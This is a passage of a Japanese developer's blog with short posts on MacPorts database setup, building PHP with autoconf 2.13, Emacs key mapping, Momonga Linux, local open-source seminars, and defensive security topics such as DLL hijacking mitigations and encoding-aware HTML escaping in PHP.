データベースをutf8エンコーディングで初期化します。MacportsのPostgreSQLのコマンドはバージョン毎に分けてインストールされています。
/opt/local/lib/postgresql84/bin/initdb -E utf8 --no-locale .
MySQLを自動的に起動したい場合は、以下のコマンドを実行します。
/Library/LaunchDaemons/org.macports.postgresql84-server.plist
以下のエイリアスを登録していると便利です。
pgsqlstart='/opt/local/lib/postgresql84/bin/pg_ctl start -D /var/pgsql -l /var/pgsql/pgsql.log'
pgsqlstop='/opt/local/lib/postgresql84/bin/pg_ctl stop -D /var/pgsql -m fast'
psql='/opt/local/lib/postgresql84/bin/psql'
mysqlの起動
MySQLを自動的に起動したい場合は、以下のコマンドを実行します。
sudo launchctl load -w /Library/LaunchDaemons/org.macports.mysql5.plist
以下のエイリアスを登録していると便利です。
alias mysqlstart='sudo /opt/local/bin/mysqld_safe5 &'
alias mysqlstop='/opt/local/bin/mysqladmin5 -u root -p shutdown'
フィードバックはまだありません...
コメントを残す
Momonga Linux 7 リリース!
リンク: http://www.momonga-linux.org/archive/Momonga-users.ja/msg00597.html
遅ればせながらMomonga Linux 7リリースの紹介です。
ホームページ:
http://www.momonga-linux.org/
ダウンロード:
http://dist.momonga-linux.org/pub/momonga/7/Momonga/
絶対に目を通すべきFAQ:
http://developer.momonga-linux.org/wiki/?Momonga+Linux+7+FAQ
...
Momonga Linuxは使っているだけでは楽しくありません。自分でビルドして楽しむものです。私は4coreのPC上のchroot環境でビルドしています。多少古いですがOmoiKondara HOWTOも必読です。
http://www.momonga-linux.org/docs/OmoiKondara-HOWTO/ja/index.html
時間が無い方はもっと簡単なこちらをどうぞ。
http://developer.momonga-linux.org/wiki/?OmoiKondaraQuickStart
Momonga Linuxはライセンスがフリーで無い物は含まれていません。例えば、筆者はnVidiaのVGAカードを使っていますが専用ドライバは標準では含まれません。これらを簡単にインストールする「Momonga Nonfree Package Builder」が用意されています。
http://developer.momonga-linux.org/wiki/?How+to+use+Momonga+Nonfree+Package+Builder
これまでの Momonga Linux では、これらのパッケージをインストールしたい場合、ユーザの皆様に以下のページを参考にしてOmoiKondara を自力で動かしてもらうようにしていました。
この作業をやった方であればお分かりの通り、計算機、ネットワーク、時間、手間、知識などといった様々なリソースを必要とし、お手元の Momonga Linux を実用的で快適な環境へとセットアップする上でひとつの障害でした。
これを利用すると簡単にNonfree Packageのビルドが出来ます。手っ取り早くMomonga Linux 7を最適化するにはこれを利用すると良いでしょう。
以下はリリースノートからの抜粋です。
主な収録パッケージ
以下が主な収録パッケージとなります。
システム
- Kernel 2.6.35.4
RPM 4.8.1
- XZ payload
- glibc 2.12
- X.Org Server 1.8.2
プログラミング言語処理系
- GCC 4.4.4
- Perl 5.12.1
- Python 2.6.5 / 3.1.2
- PHP 5.3.3
- Ruby 1.9.2 / 1.8.7
- OpenJDK6? (IcedTea6? 1.8.1)
- Mono 2.6.7
- Go revision 5960
- OCaml 3.11.2
デスクトップ環境
- GNOME 2.30.2
- KDE 4.5.0
- Xfce 4.6.2
- LXDE (PCManFM 0.97)
サーバ関連
- BIND 9.7.1
- NSD 3.2.6
- Unbound 1.4.6
- Postfix 2.7.1
- Sendmail 8.14.4
- OpenSSH 5.6p1
- httpd (Apache HTTP Server) 2.2.16
- MySQL 5.1.48
- PostgreSQL 8.4.4
その他の主要なソフトウェア
フィードバックはまだありません...
コメントを残す
OSX 10.6でPHPソースのbuildconfが実行できない
Mac OSX 10.6のPHPはPHP5.3なのでPHP5.2をビルドしてインストールしたい、と思っている方も多いと思います。Macportsが入っていれば、
sudo port install php52 php52-web
のような感じでPHP5.2をインストールできます。Portsじゃなくてソースから、そしてPECLなど他のモジュールもロードするのではなくスタティックに組み込みたい!という場合もあるでしょう。いちいちモジュールディレクトリを作ってphp.iniでロールするのは面倒ですから当然です。
...
しかし、PHP 5.2.14 のソースに付属するbuildconfを実行すると以下のようなエラーが発生します。
yohgaki@yohgaki-macbook-2$ rm configure && ./buildconf --force
Forcing buildconf
buildconf: checking installation...
buildconf: autoconf version 2.65 (ok)
buildconf: Your version of autoconf likely contains buggy cache code.
Running vcsclean for you.
To avoid this, install autoconf-2.13.
Can't figure out your VCS, not cleaning.
rebuilding configure
ext/pdo_dblib/config.m4:55: warning: AC_CACHE_VAL(pdo_inc_path, ...): suspicious cache-id, must contain _cv_ to be cached
../../lib/autoconf/general.m4:1998: AC_CACHE_VAL is expanded from...
../../lib/autoconf/general.m4:2019: AC_CACHE_CHECK is expanded from...
aclocal.m4:2741: PHP_CHECK_PDO_INCLUDES is expanded from...
ext/pdo_firebird/config.m4:43: warning: AC_CACHE_VAL(pdo_inc_path, ...): suspicious cache-id, must contain _cv_ to be cached
ext/pdo_mysql/config.m4:135: warning: AC_CACHE_VAL(pdo_inc_path, ...): suspicious cache-id, must contain _cv_ to be cached
ext/pdo_oci/config.m4:231: warning: AC_CACHE_VAL(pdo_inc_path, ...): suspicious cache-id, must contain _cv_ to be cached
ext/pdo_odbc/config.m4:42: warning: AC_CACHE_VAL(pdo_inc_path, ...): suspicious cache-id, must contain _cv_ to be cached
ext/pdo_pgsql/config.m4:109: warning: AC_CACHE_VAL(pdo_inc_path, ...): suspicious cache-id, must contain _cv_ to be cached
ext/pdo_sqlite/config.m4:14: warning: AC_CACHE_VAL(pdo_inc_path, ...): suspicious cache-id, must contain _cv_ to be cached
ext/sqlite/config.m4:50: warning: AC_CACHE_VAL(pdo_inc_path, ...): suspicious cache-id, must contain _cv_ to be cached
rebuilding main/php_config.h.in
autoheader: WARNING: Using auxiliary files such as `acconfig.h', `config.h.bot'
autoheader: WARNING: and `config.h.top', to define templates for `config.h.in'
autoheader: WARNING: is deprecated and discouraged.
autoheader:
autoheader: WARNING: Using the third argument of `AC_DEFINE' and
autoheader: WARNING: `AC_DEFINE_UNQUOTED' allows one to define a template without
autoheader: WARNING: `acconfig.h':
autoheader:
autoheader: WARNING: AC_DEFINE([NEED_FUNC_MAIN], 1,
autoheader: [Define if a function `main' is needed.])
autoheader:
autoheader: WARNING: More sophisticated templates can also be produced, see the
autoheader: WARNING: documentation.
ext/pdo_dblib/config.m4:55: warning: AC_CACHE_VAL(pdo_inc_path, ...): suspicious cache-id, must contain _cv_ to be cached
../../lib/autoconf/general.m4:1998: AC_CACHE_VAL is expanded from...
../../lib/autoconf/general.m4:2019: AC_CACHE_CHECK is expanded from...
aclocal.m4:2741: PHP_CHECK_PDO_INCLUDES is expanded from...
ext/pdo_firebird/config.m4:43: warning: AC_CACHE_VAL(pdo_inc_path, ...): suspicious cache-id, must contain _cv_ to be cached
ext/pdo_mysql/config.m4:135: warning: AC_CACHE_VAL(pdo_inc_path, ...): suspicious cache-id, must contain _cv_ to be cached
ext/pdo_oci/config.m4:231: warning: AC_CACHE_VAL(pdo_inc_path, ...): suspicious cache-id, must contain _cv_ to be cached
ext/pdo_odbc/config.m4:42: warning: AC_CACHE_VAL(pdo_inc_path, ...): suspicious cache-id, must contain _cv_ to be cached
ext/pdo_pgsql/config.m4:109: warning: AC_CACHE_VAL(pdo_inc_path, ...): suspicious cache-id, must contain _cv_ to be cached
ext/pdo_sqlite/config.m4:14: warning: AC_CACHE_VAL(pdo_inc_path, ...): suspicious cache-id, must contain _cv_ to be cached
ext/sqlite/config.m4:50: warning: AC_CACHE_VAL(pdo_inc_path, ...): suspicious cache-id, must contain _cv_ to be cached
エラーメッセージにめげずにconfigureスクリプトを実行すると
yohgaki@yohgaki-macbook-2$ ./configure
cat: confdefs.h: No such file or directory
./configure: line 387: ac_fn_c_try_run: command not found
./configure: line 403: 5: Bad file descriptor
./configure: line 404: 6: Bad file descriptor
cat: confdefs.h: No such file or directory
./configure: line 443: ac_fn_c_try_run: command not found
cat: confdefs.h: No such file or directory
./configure: line 443: ac_fn_c_try_run: command not found
cat: confdefs.h: No such file or directory
./configure: line 443: ac_fn_c_try_run: command not found
cat: confdefs.h: No such file or directory
./configure: line 443: ac_fn_c_try_run: command not found
cat: confdefs.h: No such file or directory
./configure: line 443: ac_fn_c_try_run: command not found
cat: confdefs.h: No such file or directory
./configure: line 443: ac_fn_c_try_run: command not found
cat: confdefs.h: No such file or directory
./configure: line 443: ac_fn_c_try_run: command not found
cat: confdefs.h: No such file or directory
./configure: line 443: ac_fn_c_try_run: command not found
./configure: line 466: 5: Bad file descriptor
./configure: line 467: 6: Bad file descriptor
./configure: line 469: 5: Bad file descriptor
./configure: line 470: 6: Bad file descriptor
cat: confdefs.h: No such file or directory
全く動作しません。原因は明らかにautoconfが新しすぎる事にあるので古いautoconfが必要です。PHPではautoconf 2.13という古いバージョンが推奨されています。
yohgaki@yohgaki-macbook-2$ which autoconf213
/opt/local/bin/autoconf213
Macportsがautoconf 2.13を勝手にインストールしてくれているのでこれを使います。
yohgaki@yohgaki-macbook-2$ rm configure && PHP_AUTOCONF=autoconf213 ./buildconf --force
Forcing buildconf
rebuilding configure
rebuilding main/php_config.h.in
autoheader: WARNING: Using auxiliary files such as `acconfig.h', `config.h.bot'
autoheader: WARNING: and `config.h.top', to define templates for `config.h.in'
autoheader: WARNING: is deprecated and discouraged.
autoheader:
autoheader: WARNING: Using the third argument of `AC_DEFINE' and
autoheader: WARNING: `AC_DEFINE_UNQUOTED' allows one to define a template without
autoheader: WARNING: `acconfig.h':
autoheader:
autoheader: WARNING: AC_DEFINE([NEED_FUNC_MAIN], 1,
autoheader: [Define if a function `main' is needed.])
autoheader:
autoheader: WARNING: More sophisticated templates can also be produced, see the
autoheader: WARNING: documentation.
ext/pdo_dblib/config.m4:55: warning: AC_CACHE_VAL(pdo_inc_path, ...): suspicious cache-id, must contain _cv_ to be cached
../../lib/autoconf/general.m4:1998: AC_CACHE_VAL is expanded from...
../../lib/autoconf/general.m4:2019: AC_CACHE_CHECK is expanded from...
aclocal.m4:2741: PHP_CHECK_PDO_INCLUDES is expanded from...
ext/pdo_firebird/config.m4:43: warning: AC_CACHE_VAL(pdo_inc_path, ...): suspicious cache-id, must contain _cv_ to be cached
ext/pdo_mysql/config.m4:135: warning: AC_CACHE_VAL(pdo_inc_path, ...): suspicious cache-id, must contain _cv_ to be cached
ext/pdo_oci/config.m4:231: warning: AC_CACHE_VAL(pdo_inc_path, ...): suspicious cache-id, must contain _cv_ to be cached
ext/pdo_odbc/config.m4:42: warning: AC_CACHE_VAL(pdo_inc_path, ...): suspicious cache-id, must contain _cv_ to be cached
ext/pdo_pgsql/config.m4:109: warning: AC_CACHE_VAL(pdo_inc_path, ...): suspicious cache-id, must contain _cv_ to be cached
ext/pdo_sqlite/config.m4:14: warning: AC_CACHE_VAL(pdo_inc_path, ...): suspicious cache-id, must contain _cv_ to be cached
ext/sqlite/config.m4:50: warning: AC_CACHE_VAL(pdo_inc_path, ...): suspicious cache-id, must contain _cv_ to be cached
今度もエラーが起きていますが、./configureは動作します。私が必要とするモジュールではエラーは発生しないのですが、PDO周りでエラーが発生するかも知れないです。
フィードバックはまだありません...
コメントを残す
Mac OSX 10.6のAquaemacsでバックスラッシュ(\)がUnicodeの円記号(¥)になる
Mac上でEmacsを使うと言っても、コードを見るくらいでAquaemacsを使っています。Aquaemacs 2.0以上からはタブも使えてかなり便利です。今は2.1を使っています。PHP、RubyはEclipseやNetBeansを使っています。
Aquaemacsでコーディングはしていなかったので今まで困らなかったのですが、PHP本体のコーディングとビルドをMac上で出来るようにしました。Cのコードは普通はEmacsで書いているので、AquaemacsでCのコードをコーディングしようと思ったら「バックスラッシュ(\)が円記号(¥)になる」現象で困ってしまいました。
...
普通はOption+¥ で \ (0x5C)が入力できるのですが、AquaemacsではOptionキーがメタキーになっているので入力できないようです。コマンドキーとオプションキーを入れ替えてみましたが
;; command key as meta key
(setq ns-command-modifier 'meta)
;; option + yen(jis keyboard) => backslash
(setq ns-alternate-modifier 'option)
これもダメでした。これで動作する環境も在るようですがOSX 10.6ではNGなのかも知れません。結局、
http://sourceforge.jp/projects/macemacsjp/lists/archive/users/2006-June/001125.html
に記載されている
(define-key global-map [?円記号] [?\\])
(define-key global-map [?\C-円記号] [?\C-\\])
(define-key global-map [?\M-円記号] [?\M-\\])
(define-key global-map [?\C-\M-円記号] [?\C-\M-\\])
を~/.eamcsに記入して解決しました。"円記号"の部分をUnicode(UTF-8)の"¥"で置き換えてください。Aquaemacsで書けば勝手にUnicodeの"¥"になるはずです。上手くいかない場合はエンコーディングが違うのかも知れません。~/.emacsに
(set-terminal-coding-system 'utf-8)
(set-keyboard-coding-system 'utf-8)
(prefer-coding-system 'utf-8)
を追加してみてください。UTF-8でファイルを読み書きできるはずです。
Aquaemacsを再起動すれば普通に"¥"キーを押せばASCIIの"\"(0x5C) が入力されるようになります。快適です。
フィードバックはまだありません...
コメントを残す
DLLハイジャック対策
DLLハイジャックが可能なアプリケーションは多数見つかっています。
http://www.corelan.be:8800/index.php/2010/08/25/dll-hijacking-kb-2269637-the-unofficial-list/
しかし、対策はあまり取られていません。
いちいち対策するのは面倒なのでKB2264107のFIX ITでネットワーク共有、WebDAVからのロードを無効にする方がよいでしょう。
ユーザができる対策はこちら
http://support.microsoft.com/kb/2264107
https://www.microsoft.com/technet/security/advisory/2269637.mspx#EGF
開発者ができる対策はこちら
http://msdn.microsoft.com/en-us/library/ff919712%28v=VS.85%29.aspx
フィードバックはまだありません...
コメントを残す
OSX+Android(Xperia)+オープンソースでテザリング
Xperiaを購入したのでOSXを無料でテザリングする方法探してやってみました。流石にテザリングソフトを購入した方が簡単ですが、一旦環境を作ってしまえば使うのはそれほど手間ではありません。
Wikiに手順をまとめておいたので興味がある方はどうぞ。
必要な物は、Android SDK, Azilink(Android側のVPNアプリ), OpenBlick(Mac OSX用のVPN GUI - openvpnだけでも何とかなるがこれが無いとネットワーク設定が面倒)です。詳しくはWikiを見てください。
制限事項
- ping はできない(UDP pingでエミュレーションしているため)
- USB接続(Wifi, Bluethooth接続は無理)
- 自己責任。パケホーダイなら最大約1万3千円のようですが、スマートフォンの最大金額(約6000円)を超えるかもしれません。自己責任で使用してください
速度は計測していませんが、それほど遅くないような気がします。
同じような手順でLinuxでもテザリングできます。OpenVPNやルーティングテーブルを手動で調整するだけです。
しばらくXperiaを使ってみた感想は、普通にスマートフォンとして使うには良いのではないか、と思いました。時々アプリが落ちたりするのは愛嬌でしょう。iPhoneよりも無料アプリが充実しているので、Androidならとりあえず無料アプリでほとんど何とかなると思います。
弄りたおそうと思ってXperiaを購入した訳ではないので私は特に困りはしませんが、弄り倒したい人にはrootが取れないのは痛いです。テザリングもrootが取れるならWifiのアクセスポイントとしてAndroid携帯を設定する方法が一番便利だと思います。
XperiaがマルチタッチにH/W的に対応していないのは訴訟リスクの回避だとは思いますが、「これをマルチタッチにして実装すれば..」と思える操作がいくつかあります。H/Wだけは対応しておけば良かったのにと思います。
電池の持ちですが、直ぐに自動的にアイドルタスクを終了させるアプリを入れたせいか困る程は消耗しないです。あまり使いすぎると1日は持ちませんが、USBで一応充電できるのでPCと一緒に使っている人なら特に問題とはならないと思います。
追記:
USENのスピードテストでは岡山大学の構内で1.6Mbpsから3.1 Mbps程でした。
フィードバックはまだありません...
コメントを残す
「実践iPhoneアプリケーション開発講座」を6月に岡山・高松で開催
リンク: http://www.es-i.jp/seminar/
iPhone/iPad/iPodアプリ開発のブートキャンプと言える「実践iPhoneアプリケーション開発講座」を6月に岡山&高松でオープンウィンドさんと私の会社で開催します。今回はちょっと高い有料セミナーです。
有料なだけあって至れり尽くせりで、セミナーテキスト500ページ、複数のハンズオンセッションで実際にiPhoneの開発を体験できるセミナーになっています。開発環境からObjective-Cの解説、開発フレームワークの解説からデバッグ手法、実際のアプリ構築を行う4日間の集中講座です。iPhoneアプリ開発にはMacが必須ですが、Macが初めての方でも無理なく受講できる講座になっています。
今売れすぎて手に入らないiPadやiPod touchのアプリはiPhoneアプリと同じ開発手法で開発できます。
個人的には、iPadを使ったスマートな営業支援システム(タッチパネルとワイヤレスキーボード)などは非常に面白いのではと思っています。PCを買うより安く、機能が限定されている分安全で、しかも使い易い、GPSも装備されているので管理者も実績などを管理し易く(される方は大変?)、ある意味最強(?)のSFA端末になるのではないかと思っています。
セミナー会場は岡山駅と高松駅の直ぐ近くです。
岡山会場: ままかりフォーラム 6/1(火) - 6/4(金)
高松会場: サンポート高松 6/15(火)- 6/18(金)
募集を開始したばかりです。5/1までに申し込みされた方は早期申し込み割引5000円です。募集定員は16名です。受講をご希望の方はお早めに登録してください。
フィードバックはまだありません...
コメントを残す
オープンセミナー2010@岡山 5/15開催
毎年恒例のオープンセミナーのお知らせです。Rubyの松本さん、PGClusterの三谷さんをはじめ聴きごたえのある講師が揃いました。お昼はお弁当を持ってくるか注文する方が良いです。懇親会は70名になっていますが、既に予約が多すぎたので50から70名に増やしたばかりです。申し込みはお早めにどうぞ。
申し込み用のページ
http://kokucheese.com/event/index/1834/
セミナー告知ページ
http://openseminar.okaya.ma/
...
オープンセミナー2010@岡山
オープンセミナーはオープンソースとインターネットをテーマにした
無料セミナーです。
このセミナーの企画と運営はオープンソースのユーザコミュニティの
ボランティアで行われています。昨年は香川県高松市、徳島県徳島市、
岡山県総社市、広島県広島市で開催された実績があります。
首都圏ではこのようなオープンソースユーザコミュニティが主催する
セミナーや勉強会は数多くありますが、地方ではまだまだ少ないのが
現状です。すばらしい講師陣である事は講師名で検索して頂くと直ぐに
分ります。コミュティ主催のセミナーに参加が初めての方もお気軽に
お越し下さい。
■名称: オープンセミナー2010@岡山
■参加費: 無料
■開催日時:2010年5月15日(土) 11:00から17:00(12:25から13:25は昼食兼LT大会)
■開催場所:岡山県立大学 学部共通棟(南)8206室
http://www.oka-pu.ac.jp/
岡山県立大学 キャンパス平面図
http://www.oka-pu.ac.jp/information/campusmap.html
■アクセス:電車または車でお越し下さい。(無料駐車場あり)
http://www.oka-pu.ac.jp/information/access.html
電車の場合は、以下のURLから、
出発駅: 岡山,到着駅: 服部で検索してください。
http://mydia.jr-odekake.net/search/mobile.cgi
■主催: オープンセミナー2010@岡山 実行委員会
■共催: 岡山Javaユーザ会
日本PostgreSQLユーザ会 http://www.postgresql.jp/
瀬戸内Linuxユーザ会(STLUG)
四国BSDユーザ会(S*BUG)
■後援: 岡山県
オープンソースカンファレンス実行委員会
岡山県立大学
総社市
■協賛: 技術評論社
翔泳社
NetBeans 日本語コミュニティ (http://ja.netbeans.org)
随時募集中です!
■昼食会: お弁当費用1000円(事前にお申し込みください)
■懇親会: ダイニングスタイル ろく (http://www.count-up.net/6/index.html)
費用5000円(事前にお申し込みください。)
50人を超えると立食形式となります。
注意事項
当日、大学の食堂は12:00-13:00利用できます。メニューが限られているので
弁当を持参されるのも良いと思います。
----------------------------------------------------------------------
■午前の部 ミニセミナー(11:10~12:25)
11:10~11:25
○次世代モバイルインフラの予復習
講師:荒井 剛(岡山県立大学)
11:30~11:45
○次期リリース Debian 6.0(コード名: Squeeze)を見る
講師:のがたじゅん(Debian JP Project)
11:50~12:05
○GC生誕50周年を祝って
講師:中村 成洋
12:10~12:25
○オープンソースで飯が食えるようになるまで
~受託と基幹が大好きな会社での話~
講師:西 宏和(Magento-JP Users Group)
■昼食会兼LT大会(12:25~13:25)
○ひらさん(オープンラボ岡山)
○安達さん(岡山大学)
○芝さん(岡山県立大学)
○赤木さん(岡山大学)
○中矢さん(香川大学)
○三輪さん(オープンラボ岡山)
○きよくらさん(Okayama IT Egineers Community)
残り2~3枠あります。随時募集中です。
■午後の部(13:30~17:00)
13:30~14:20
○Rubyが拓く未来
講師:まつもと ゆきひろ(プログラミング言語「Ruby」の開発者)
14:30~15:00
○スクラム、要求開発、リーンをめぐる冒険
講師:前川 哲次(すくすくスクラム瀬戸内/要求開発アライアンス)
15:10~15:40
○AndroidとBeagleBoard ~アプリからGPIOを制御する~
講師:瀬戸 直喜(日本Androidの会四国支部)
15:50~16:40
○未定
講師:調整中(日本PostgreSQLユーザ会)
■講師陣のプロフィール等は公式サイト(http://openseminar.okaya.ma/)を
ご覧ください。
----------------------------------------------------------------------
■セミナーおよび懇親会参加申し込み方法
以下の参加申し込みページより申し込みをお願いいたします。
http://kokucheese.com/event/index/1834/
フィードバックはまだありません...
コメントを残す
OSC東京とOSC高知のプレゼン資料の公開
遅くなって申し訳ないです。昨年末に公開していたつもりでしたが公開設定していませんでした。
PostgreSQLユーザのためのSQLインジェクション対策
このプレゼンを行った後にPythonはCVEが公開されて、最新版では修正されています。
ご意見などございましたら御気軽にコメント、メールをください。
フィードバックはまだありません...
コメントを残す
広島オープンセミナー 11/28(土曜)
広島で中四国で行われている地域コミュニティが合同で行っているオープンセミナーが11/28(土曜)開催されます。
http://www.postgresql.jp/events/5e835cf630aa30fc30f330bb30df30ca30fc-1/view
ご都合が良い方は是非参加ください。
来る11月28日(土)に(株)SRA西日本会議室(Pルーム)にて
JPUG中国支部主催のオープンセミナーを開催します。
今回はオープンラボ岡山の協力を得、RubyやAndroidの話題も盛り込んでいます。
また、東京から桑村潤氏、石井達夫氏にお越しいただきますので、
興味のある方は是非ご参加ください。セミナー、懇親会に参加を希望される方は、人数把握のため、三谷(mitani@sraw.co.jp)までメールでお申し込みください。
1.日時:2009年11月28日(土)13時から17時
(開場受付 12:30〜、懇親会 18:00-20:00)
2.場所:(株)SRA西日本 会議室(Pルーム)
広島市南区稲荷町 2-16 広島稲荷町第一生命ビル 10F
http://www.sraw.co.jp/map_hiroshima.html
3.定員:30名
4.会費:無料(懇親会は別途費用)
5.プログラム
13:00-13:25 三谷さん:PostgreSQLのClustering最新動向
13:30-13:55 吉田さん:RubyとPostgreSQLの全文検索
14:00-14:25 英吉さん:Android Marketの理想と現実
14:30-14:55 大垣さん:SQLインジェクション
15:00-15:50 桑村さん:PL/Proxy,PgBouncerの紹介
16:00-16:50 石井さん:pgpool-II最新情報
フィードバックはまだありません...
コメントを残す
OSC Tokyo プレゼンファイルの公開について - OSC高知以後に
OSC Tokyo Fallでは多くの方にプレゼンテーション(SQLインジェクション"ゼロ"のPostgreSQL利用法 - 今更聞けないSQLインジェク ションの現実と対策)を聞いて頂きありがとうございました。気に入って頂けた方も多かったようで何よりです。
何人もの方から「プレゼンファイルは公開するのか?」「プレゼンファイルを公開してほしい」聞いています。
もう直ぐ開催するOSC高知で同じプレゼンを行います。ネタばれプレゼンするのも恥ずかしいのでOSC高知の後にプレゼンファイルは公開します。
11/14(土)
http://www.ospn.jp/osc2009-kochi/
中国/関西からだと高速バスが便利かも。
岡山からは10時前には着くようです。
http://www.jr-shikoku.co.jp/bus/businfo/ryoma_ex/okayama.asp
北や難波から朝でると昼くらいには現地に着きます。
http://www.jr-shikoku.co.jp/bus/businfo/kochi_ex/index.asp
四国や近県の方(関西、中国の方)はOSC高知に是非お越し下さい!
2 コメント
是非拝見したいので、アップをお願い致します。
コメントを残す
OSC Tokyo - 今更聞けないSQLインジェクションの現実と対策
明日のOSC東京Fallでは「SQLインジェクション"ゼロ"のPostgreSQL利用法 - 今更聞けないSQLインジェク ションの現実と対策」と題したセッションを日本PostgreSQLユーザ会の講師として話をさせて頂きます。
SQLインジェクションはとうの昔に枯れた話題と思われていますが、古くても今の問題です。何年か前、日本PostgreSQLユーザ会のセミナーで手作業でのブラインドSQLインジェクションのデモをした事がありますが今回はツールを使ったデモもあります。書いている間に当初作ろうと思っていたプレゼンとは異なる物なってしまいました。多少紹介から期待する内容とは異なっているかも知れません。既にSQLインジェクションについては十分知っている方でも、それなりに(?)楽しめる内容になっていると思います。おかげ様で満員だそうですが、飛び込みでも少しは入れるのかな?
45分なのに60枚もスライドがある上、デモもあります。かなりハイペースで話すことになります。ネットで直ぐに見つかるような基本的な事はあまり書かなかったのですが、無いようで書くとSQLインジェクションについて色々在る物です。多少スライドは飛ばす事になります。
ほぼ同じ内容でOSC高知でも話をさせて頂く予定です。
来たくても来れなかった方は是非高知でお会いしましょう。
フィードバックはまだありません...
コメントを残す
書評: CakePHPによる実践Webアプリケーション入門
この本は今年のPHPカンファレンスで景品として頂いた本です。
CakePHPと言えば「CakeMatsuriTokyo2009」が10/30, 10/31に開催されます。興味がある方、CakePHPによるWeb開発にさらに磨きをかけたい方は参加されてはどうでしょうか?
...
さて、「CakePHPによる実践Webアプリケーション開発」ですがタイトルの通りの本です。PHPとWebアプリ開発の基礎知っている方なら、この本を読むだけでCakePHPでどのようにWebアプリケーションを作れば良いのか、解る本になっています。この本を通してグループウェアの構築が体験できてしまいます。今時のWeb開発に欠かせないテストフレームワークの使い方も紹介しています。この本はオンラインマニュアル等で簡単に入手できる情報は省略されています。CackePHPは全く初めて、という方はWebサイトのオンラインマニュアルやチュートリアルなどをさっと読んでから読むと良いでしょう。
この本はPHPとPHPによるWeb開発には経験があるけどCakePHPによる開発はこれから、という方にはお勧めの本です。他のフレームワークを使っているけど、最近元気なCakePHPによる開発はどんな感じなのか知りたい方にもお勧めです。
アマゾンの書評では初心者向けの記述が無い事を不満に思った方もいますが、インターネット時代の技術書の形の一つとして「簡単に調べられる事は解説しない」はあって良いのではないかと思っています。PHP経験者でこれからCakePHPを使用した本格的なWebアプリを作る、でもCakePHPはまだ知らない、という読者には非常に良い本だと考えています。
フィードバックはまだありません...
コメントを残す
Git+SSH+マルチユーザ
本格的にSubversionからGitへの移行を行った際に作ったGit+SSHサーバの手順をWikiに書きました。この手順を実行すると
- SSHの公開鍵を持っているユーザにのみリポジトリへのアクセスを許可
- 複数あるリポジトリへのアクセス許可を個別に設定
- グループを設定して「読み込み」「書き込み」の権限を管理
ができるようになります。
詳しくはWikiのgit sshサーバの構築をご覧下さい。
Subversionの頃はWebDAV+SSL+Basic認証だったので以前と比べればかなり認証の安全性は増したと言えます。
フィードバックはまだありません...
コメントを残す
PHP 5.2.11用のStrict Session Patch
PHP 5.2.11用のStrict Session Patchを公開しました。
http://wiki.ohgaki.net/index.php?PHP%2Fpatch%2FStrictSession
これが無いとセッション管理が面倒です。 どう面倒なのかは既に何度も書いているので省略します。(本当は面倒なだけではないのですが.. )最新リリースの追随がいつも遅れているので、もし作った方は送って頂けると助かります。
もし問題を発見した場合は教えて下さい。直します。
このパッチを使っているサイト例はこのブログです :)
フィードバックはまだありません...
コメントを残す
PHPが文字エンコーディング攻撃に強い理由 - HTMLエスケープ
PHPが文字エンコーディング攻撃に比較的強い理由は入出力の文字エンコーディングのバリデーション(サニタイズ)が行えるだけではありません。PHPが提供するHTMLエスケープ関数が文字エンコーディング攻撃に対して強い事も理由の一つです。
PerlでHTMLエスケープと言えば、<,>,&,",'をエンティティ変換するコードが一番に見つかります。
「perl html escape」でググると一番に見つかったページは次のページです。このページではまだ3バイトEUCの場合の例、CGIモジュールを使った例も載っているので良い方でしょう。
http://saboten009.blogspot.com/2008/04/perlhtml-xss.html
少し前にPerl, Ruby,Pythonユーザは検索で有用なセキュリティ情報を得られるのか?と疑問に思い調べました。これだけ知っていれば取り合えず十分というページはそう簡単には見つかりませんでした。
いつも問題になるのは PHP だけど Perl は問題ないのか、すでに議論し尽くされた問題なのか、PHPer のモラルが低いせいか。
Perl,Ruby, Pythonで議論し尽くされ対策が浸透している、とは到底思えません。Railsで文字エンコーディングを利用したXSS脆弱性が話題になっていることからも明らかです。PHPがいつも問題になるのはよく使われていて、初心者も多く、公開されているWebアプリも圧倒的に多いからです。モラルの問題ではありませんし、このページで紹介されているPerlのエスケープ方法だけではPHPのhtmlentities()やhtmlspecialchars()よりも脆弱です。文字エンコーディングを考慮するようになっていないからです。
...
問題はPHPerだけではありません。「PHPerのモラルが低いせいか?」と疑問に思われていますが、Perlアプリでも、Rubyのアプリでも似た様な状況です。例えば、Rubyならrhtmlで
<%=h(string) %>
とh(html_escape)関数を使い、デフォルトでHTMLエスケープ可能なHTML出力すべてをエスケープすべきです。しかし、私が読んできたRailsアプリの多くはPHPアプリとそう変らない状況です。必要だろう、と思われる文字列のみエスケープしているアプリが多数です。Javaだとエスケープがデフォルトである事が随分前から当たり前なのですがLLはどれも同じような状況です。この状況は次第に変りつつありますがまだまだです。
PHPアプリに対する文字エンコーディングを利用した攻撃は何年も前からあったのでPHPはhtmlentities()かhtmlspecialchars()を利用すれば文字エンコーディングを考慮したエスケープが行われ、サポートしている文字エンコーディングなら文字エンコーディングベースの攻撃が行えないようになっています。最近書いてきた入出力の文字エンコーディングバリデーションをしていなくても、HTMLエスケープをしていれば攻撃できません。
PHPのhtmlentities()とhtmlspecialchars()は何年も前から文字エンコーディングを考慮したエスケープを行っているので、htmlentities()とhtmlspecialchars()が文字エンコーディングを利用した攻撃に脆弱としてレポートされた事もあります。しかし、開発者はなかなか他の環境の脆弱性から学べないのは、自分も含めどの開発者でも同じです。
以下の定義はPHP 5.2.11のext/standard/html.cからのコピーです。
static const struct {
const char *codeset;
enum entity_charset charset;
} charset_map[] = {
{ "ISO-8859-1", cs_8859_1 },
{ "ISO8859-1", cs_8859_1 },
{ "ISO-8859-15", cs_8859_15 },
{ "ISO8859-15", cs_8859_15 },
{ "utf-8", cs_utf_8 },
{ "cp1252", cs_cp1252 },
{ "Windows-1252", cs_cp1252 },
{ "1252", cs_cp1252 },
{ "BIG5", cs_big5 },
{ "950", cs_big5 },
{ "GB2312", cs_gb2312 },
{ "936", cs_gb2312 },
{ "BIG5-HKSCS", cs_big5hkscs },
{ "Shift_JIS", cs_sjis },
{ "SJIS", cs_sjis },
{ "932", cs_sjis },
{ "EUCJP", cs_eucjp },
{ "EUC-JP", cs_eucjp },
{ "KOI8-R", cs_koi8r },
{ "koi8-ru", cs_koi8r },
{ "koi8r", cs_koi8r },
{ "cp1251", cs_cp1251 },
{ "Windows-1251", cs_cp1251 },
{ "win-1251", cs_cp1251 },
{ "iso8859-5", cs_8859_5 },
{ "iso-8859-5", cs_8859_5 },
{ "cp866", cs_cp866 },
{ "866", cs_cp866 },
{ "ibm866", cs_cp866 },
